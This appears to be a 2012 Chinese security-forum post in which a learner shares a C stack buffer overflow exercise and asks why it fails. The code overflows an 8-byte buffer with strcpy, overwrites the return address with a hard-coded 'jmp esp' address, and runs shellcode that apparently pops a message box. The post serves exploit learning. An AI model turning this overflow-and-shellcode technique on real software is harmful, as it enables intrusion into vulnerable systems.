-
-
shellcode出错,执行不了,求救。。。
-
发表于:
2012-4-9 18:06
3080
-
下面是代码:
#include <stdio.h>
#include <string.h>
char str[]="\x41\x41\x41\x41" // str[0]-str[3]
"\x41\x41\x41\x41" // str[4]-str[7]
"\x41\x41\x41\x41" // ebp
"\x12\x45\xfa\x7f" // jmp esp
"\x33\xDB\x53\x68\x66\x69\x73\x68\x68\x6B\x6F\x6F\x6B\x8B\xC4\x53\x50" //弹消息框代码
"\x50\x53\xB8\x8A\x05\xD5\x77\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0";
void main()
{
int i=0;
char buffer[8];
strcpy(buffer,str);
for(i=0;i<8&&buffer[i];i++)
printf("\\0x%x",buffer[i]);
}
运行后提示:
大牛给看下,为什么不行呢?
能给出一个简单的Demo最好了,或者给我修改下。。。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!